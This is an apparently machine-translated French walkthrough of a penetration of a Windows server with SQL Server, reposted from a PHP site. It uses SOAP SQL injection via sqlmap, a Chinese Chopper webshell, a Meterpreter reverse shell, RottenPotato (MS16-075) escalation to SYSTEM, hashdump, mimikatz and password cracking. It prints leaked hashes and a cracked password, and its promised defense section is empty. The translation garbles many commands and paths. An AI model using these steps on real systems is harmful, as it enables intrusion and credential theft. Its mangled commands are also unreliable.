Dans le processus de pénétration réussi, l'exploitation des vulnérabilités consiste en l'intégration de plusieurs technologies, la pratique des dernières technologies. Cette pénétration utilise sqlmap pour confirmer le point d'injection, obtient le webshell via sqlmap et combine msf pour effectuer l'élévation des privilèges. de ms16-075 et a finalement obtenu les autorisations système du serveur cible. Cet article peut être considéré comme une nouvelle extension de l'exploitation des vulnérabilités. Lorsque l'élévation de privilèges conventionnelle de Nday échoue, un cas classique d'élévation de privilèges réussie de ms16-075 est combiné avec msf.
1.1.1 Rechercher les vulnérabilités d'injection de savon
1. Utilisez le scanner de services Web dans awvs pour rechercher les vulnérabilités. Ouvrez awvs, sélectionnez le scanner de services Web pour rechercher les vulnérabilités, comme indiqué dans la figure 1, remplissez la cible. adresse url dans l'url wsdl, notez qu'elle doit être asmx?wsdl, certains ont des fichiers asmx, sinon vous pouvez la renseigner directement, par exemple : http://1**.***.***. ***:8081/?wsdl.
Figure 1 Effectuer une analyse de vulnérabilité d'injection de savon
2. Gérer l'injection aveugle SQL
Grâce à l'analyse awvs, confirmez que l'adresse URL a une injection aveugle SQL (26 emplacements), dans awvs, cliquez à droite "afficher les en-têtes http", copiez son contenu dans un fichier texte et traitez les instructions vulnérables. Dans ce cas, par exemple :
Vous devez remplacer la partie de texte rouge par "-1*".
3. Le package d'en-tête complet contient le contenu suivant :
POST /Service1.asmx HTTP/1.1
Content-Type : text/xml
SOAPAction : "http://tempuri.org/ZcpdList"
Content - Longueur : 716
X-Requested-With : XMLHttpRequest
Référent : http://1**.***.***.***:8081/?wsdl
Hôte : 1**.* * *.***.***:8081
Connexion : Keep-alive
Accepter l'encodage : gzip,deflate
Agent utilisateur : Mozilla/5.0 (Windows NT 6.1 ; WOW64) AppleWebKit/537.21 (KHTML, comme Gecko) Chrome/41.0.2228.0 Safari/537.21
Accepter : */*
< ;urn:ZcpdList>
ory_dhs>
Réponse
1.1.2 Confirmer vulnérabilité d'injection de savon
1. Utilisez sqlmap pour détecter s'il existe une vulnérabilité d'injection SQL. Ajoutez l'en-tête précédent pour enregistrer le contenu sous 1**.***.***.***.txt, copiez le fichier dans. le répertoire où se trouve le programme sqlmap.py et exécutez la commande : sqlmap.py -r 1**.*** ***.***.txt, confirmez les informations demandées par sqlmap :
custom. marqueur d'injection ('*') trouvé dans l'option '--data' Voulez-vous le traiter ? [O/n/ q] [color=Red]y[/color]
Données SOAP/XML trouvées dans les données POST. . Voulez-vous le traiter ? [Y/n/q][color=Red]y[/color]
comme le montre la figure 2, sqlmap a confirmé que la vulnérabilité d'injection SQL existe et que le serveur de base de données est Windows. 2008 R2, la version de la base de données est SQL Server 2008 et la vulnérabilité Soap est la requête Union.
Figure 2 Il existe une vulnérabilité d'injection de savon
2 Vérifiez si la base de données dispose des autorisations dba (1) Soumettez automatiquement les paramètres pour les tests comme indiqué dans la figure 3, exécutez la commande : sqlmap.py -r 1. **.** *.***.***.txt --is-dba --batch, vous devez également confirmer y deux fois. Parce que le paramètre "batch" est utilisé, sqlmap soumettra automatiquement la valeur du jugement.
Figure 3 Soumettre automatiquement les paramètres pour jugement
(2) Obtenez le compte dba de l'utilisateur utilisé dans la base de données actuelle. Comme le montre la figure 4, l'utilisateur actuel est dba dans sqlmap et le résultat affiché est vrai. Ce résultat montre que la base de données utilise les autorisations sa et que le webshell peut être obtenu via le paramètre os-shell.
La figure 4 détermine s'il s'agit d'un compte dba
3. Obtenez le mot de passe du compte sa
Comme le montre la figure 5, utilisez la commande sqlmap.py -r 1**.***.***.***.txt --password --batch pour obtenir directement la connexion à la base de données Les valeurs de mot de passe correspondant à tous les comptes :
Figure 5 Obtention du mot de passe du compte sa
4. Craquage du mot de passe du compte sa Obtention réussie de la valeur de hachage du mot de passe de la base de données via sqlmap :
##. MS_PolicyEventProcessingLogin## [ 1] :
hachage du mot de passe : 0x01001a7b0c5b5b347506dbc67aa8ffa2ad20f852076d8446a838 ##MS_PolicyTsqlExecutionLogin## [1] :
hachage du mot de passe : c64 43e1e42ca27773d413042ee8af2eea9026d44c8d4d1c sa [1]:
hachage du mot de passe : 0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28 Changer la valeur du mot de passe correspondant à sa "0x 010 0b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28 " sur www.cmd5.com Effectuez une requête, comme illustré dans la figure 6, et le résultat du décryptage est "qaz123WSX".
Figure 6 Valeur de hachage du mot de passe sa décryptée
1.1.3 Obtenez webshell via --os-shell1 Obtenez os-shell et exécutez la commande dans sqlmap : sqlmap.py -r 1**.***. .***.***.txt --os-shell, confirmez les informations dans la fenêtre d'exécution de sqlmap :
Vous pouvez également exécuter sqlmap.py -r 1**.***.* ** La commande .***.txt --os-shell --batch n'a pas besoin d'être saisie manuellement.
2. Recherchez le répertoire où se trouve le programme Web
(1) Afficher les fichiers et les répertoires
Après avoir exécuté la commande dir c:, vous pouvez afficher le répertoire c et les fichiers, et continuer à afficher "dir c:inetpubwwwroot " comme le montre la figure 7. Il n'y a aucun programme Web dans le dossier, excluez donc ce répertoire.
Figure 7 Afficher les fichiers et les répertoires
(2) Obtenez le répertoire réel du site Web En visualisant les disques c, d, e et f dans l'ordre, obtenez les fichiers du programme du site Web suspecté sur le disque électronique, et utilisez la commande dir e:softwareAMS_NoFlow pour afficher, comme le montre la figure 8.
Figure 8 Afficher les fichiers du site Web
3. Testez le répertoire réel du site Web
(1) Générer un test de fichier Comme le montre la figure 9, utilisez la commande echo : echo "thisis test">e :softwareAMS_NoFlowt.txt , générez un fichier t.txt dans le répertoire racine du site Web. Le contenu est ce test.
Figure 9 Fichier généré
(2) Test d'accès au site Web
Saisissez l'adresse http://1**.***.***.***/1.txt dans le navigateur pour Procédez au test, comme le montre la figure 10, le contenu obtenu est conforme aux attentes. L'annuaire est la véritable adresse physique du site Web.
Figure 10 Test d'accès au site Web
4. Obtenez le contenu du fichier de configuration web.config
Dans os-shell, exécutez la commande de type e:softwareAMS_NoFlowweb.config pour afficher le contenu du Web. config, dans sqlmap En raison de problèmes de configuration, le contenu complet de la fenêtre de commande peut ne pas être visible, mais sqlmap conservera des informations détaillées dans son répertoire de sortie, comme le montre la figure 11. Lorsque vous ouvrez son fichier journal, vous pouvez voir que le mot de passe correspondant à son compte sa est qaz123WSX. Il est cohérent avec le mot de passe sa piraté précédemment.
Figure 11 Afficher le contenu du fichier de configuration web.config
5. Obtenir les informations sur l'adresse IP
Comme le montre la figure 12, exécutez la commande ipconfig dans os-shell pour obtenir la configuration de l'adresse IP de la cible Dans ce cas, la cible est configurée avec des adresses IP externes et internes indépendantes, et d'autres commandes peuvent être exécutées dans os-shell.
Figure 12 Obtenir l'adresse IP
6. Obtenir le test Webshell
(1) Générer le fichier shell
Exécuter la commande dans os-shell :
echo ^^ e:softwareAMS_NoFlowcmd.aspx
Comme le montre la figure 13, le résultat de l'écho indique 1, Là il n'y a aucune autre information et la commande de génération de fichier semble avoir réussi.
Figure 13 Générer un webshell
(2) Obtenez un webshell Utilisez l'outil de gestion de porte dérobée Chinese Chopper pour créer un enregistrement http://1**.***.***.***/cmd.aspx avec un mot de passe de porte dérobée en une phrase : pass, comme indiqué dans la figure 14, cela montre que la connexion est réussie et que le webshell est obtenu avec succès.
Figure 14 Obtention du webshell
1.1.4 La méthode conventionnelle n'a pas réussi à élever les privilèges
1. Générer le fichier d'informations système Exécuter la commande dans os-shell :
2. Adresse de téléchargement du programme Suggester Windows-Exploit-Suggester : https://github.com/GDSSecurity/Windows-Exploit-Suggester/
3. Mettez à jour la bibliothèque de vulnérabilités et effectuez une comparaison des vulnérabilités. Exécutez windows-exploit-suggester.py en python - u. pour mettre à jour et comparer la bibliothèque de vulnérabilités : windows-exploit-suggester.py --audit -l --database 2018-06-04-mssb.xls --systeminfo SYD1-0081DSB.txt > comme le montre la figure 15.
Figure 15 pour comparaison des vulnérabilités
4. Vérifiez la situation de vulnérabilité. Ouvrez le fichier SYD1-0081DSB-day.txt dans le répertoire C:Python27, comme indiqué dans la figure 16, vous pouvez voir que le programme détermine que le système d'exploitation est la version Windows 2008 R2 et qu'il existe plusieurs vulnérabilités, la dernière vulnérabilité est ms16-075.
Figure 16 Vérifiez la situation de vulnérabilité
5. Effectuez un test d'élévation de privilèges sur les vulnérabilités existantes en fonction du numéro de vulnérabilité, recherchez et organisez les fichiers exp et effectuez des tests d'élévation de privilèges sur le serveur cible. -075exp, test All a échoué et n'a pas pu élever les privilèges.
1.1.5 Utilisez msf pour effectuer une élévation de privilèges ms16-075
1. Utilisez msf pour générer un cheval de Troie de rebond
Exécutez la commande ci-dessous msf :
où windows/meterpreter/reverse_tcp type de port de rebond, lhost est le port de rebond L'adresse IP du serveur connecté doit être un serveur indépendant ou doit être un mappage de port réseau externe. En d'autres termes, le rebond doit être reçu et 4433 est le port de rebond. le programme généré.
2. Exécutez la commande d'écoute sur le serveur d'écoute
(1) Démarrez msf
msfconsole
(2) Configurez les paramètres de Meterpreter
3. exécutez-le
Téléchargez le fichier 4433.exe sur le serveur cible et exécutez-le via Chinese Color Knife ou os-shell.
4. Afficher les informations système
Comme le montre la figure 17, la cible rebondit sur le serveur d'écoute, exécute sysinfo et obtient ses informations système.
Figure 17 L'obtention des informations système
5. L'utilisation de la fonction d'élévation de privilèges intégrée de Meterpreter a échoué
Exécutez les commandes getuid et getsystem respectivement dans Meterpreter, comme indiqué dans la figure 18, mais n'avez pas réussi à élever les privilèges.
Figure 18 Échec de l'augmentation des privilèges à l'aide du compteur par défaut
6 Utilisez ms16-075 pour élever les privilèges
(1) ms16-075 peut être téléchargé à l'aide de exp https://github.com/foxglovesec/. RottenPotato
(2) Téléchargez le fichier Potato.exe
Téléchargez le fichier Potato.exe via WebShell ou exécutez la commande ci-dessous msf pour télécharger : upload /root/potato.exe
(3) Obtenez les autorisations système Exécutez les commandes suivantes dans séquence :
Comme le montre la figure 19, les autorisations système ont été obtenues avec succès.
Figure 19 Obtenir les jetons d'autorisation système
(4) Obtenez les autorisations système et exécutez les commandes respectivement :
Comme le montre la figure 20, les autorisations système sont obtenues avec succès.
Figure 20 Obtention des autorisations système
(5) Obtention du mot de passe
Exécutez la commande sous Meterpreter : exécutez la commande hashdump, comme indiqué dans la figure 21, obtenez avec succès la valeur de hachage du mot de passe du serveur : Administrator:500:aad3b435b51404eeaad3b435b51404ee:a59a64a645487c1581dea603253c7920:::
Image 21 Obtenez le mot de passe
à In dans cet exemple, load mimikatz est toujours utilisé pour obtenir le mot de passe en texte clair, mais l'effet d'acquisition n'est pas idéal. L'exécution des commandes : kerberos, livessp, msv, ssp, tspkg, wdigest ne peut pas obtenir le mot de passe en texte clair. commande mimikatz_command et entrez l’invite de commande mimikatz Effectuer des opérations.
(6) Crack ntml password Copiez la valeur de hachage du mot de passe ntml a59a64a645487c1581dea603253c7920 sur cmd5.com pour le cracking cmd5 nécessite un paiement, vous pouvez également aller sur : http://www.objectif-securite.ch/en/ophcrack.php. et Le site Web https://www.somd5.com/ effectue le craquage du mot de passe, comme le montre la figure 22, et réussit à déchiffrer le mot de passe.
Figure 22 Crack de la valeur de hachage ntlm
7. Connectez-vous au serveur via nmap -sS -Pn -A 1**.***.***.*** ou masscan -p 1 -65535 1**.***.***.*** a effectué une analyse de port et a constaté que le serveur a ouvert le port 3389. Utilisez mstsc pour vous connecter. Comme le montre la figure 23, vous vous êtes connecté avec succès au serveur.
Figure 23 Connexion réussie au serveur
1.1.6 Résumé et défense
1. Résumé des commandes principales pour cette pénétration
(1) commande d'exécution sqlmap
(2 ) os- Exécuter la commande sous le shell
ipconfigdir c:/echo "thisis test">e:softwareAMS_NoFlowt.txtecho ^^ > e:softwareAMS_NoFlowcmd.aspx
(3) Exécutez la commande sous msf pour générer un cheval de Troie de rebond :
(4) msf démarrage et surveillance
msfconsoleuse exploit /multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.1.33 (en fait l'adresse IP externe) set LPORT 4433exploit
(5) ms16-075 commande d'élévation de privilèges
utiliser incogni tolist_tokens - uexecute -cH -f ./ Potato.exelist_tokens -u impersonate_token "NT AUTHORITY\SYSTEM" getuid
(6) Obtenez le mot de passe, exécutez hashdump
(7) mimikatz pour l'acquisition du mot de passe
load mimikatzkerberos, livessp, msv, ssp, tspkg, wdigest (un par un test de commande, certains afficheront le mot de passe en texte brut) mimikatz_command : fenêtre d'invite de commande mimikatz
(8) Obtenir le mot de passe sous la ligne de commande mimikatz (non testé)
2.
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!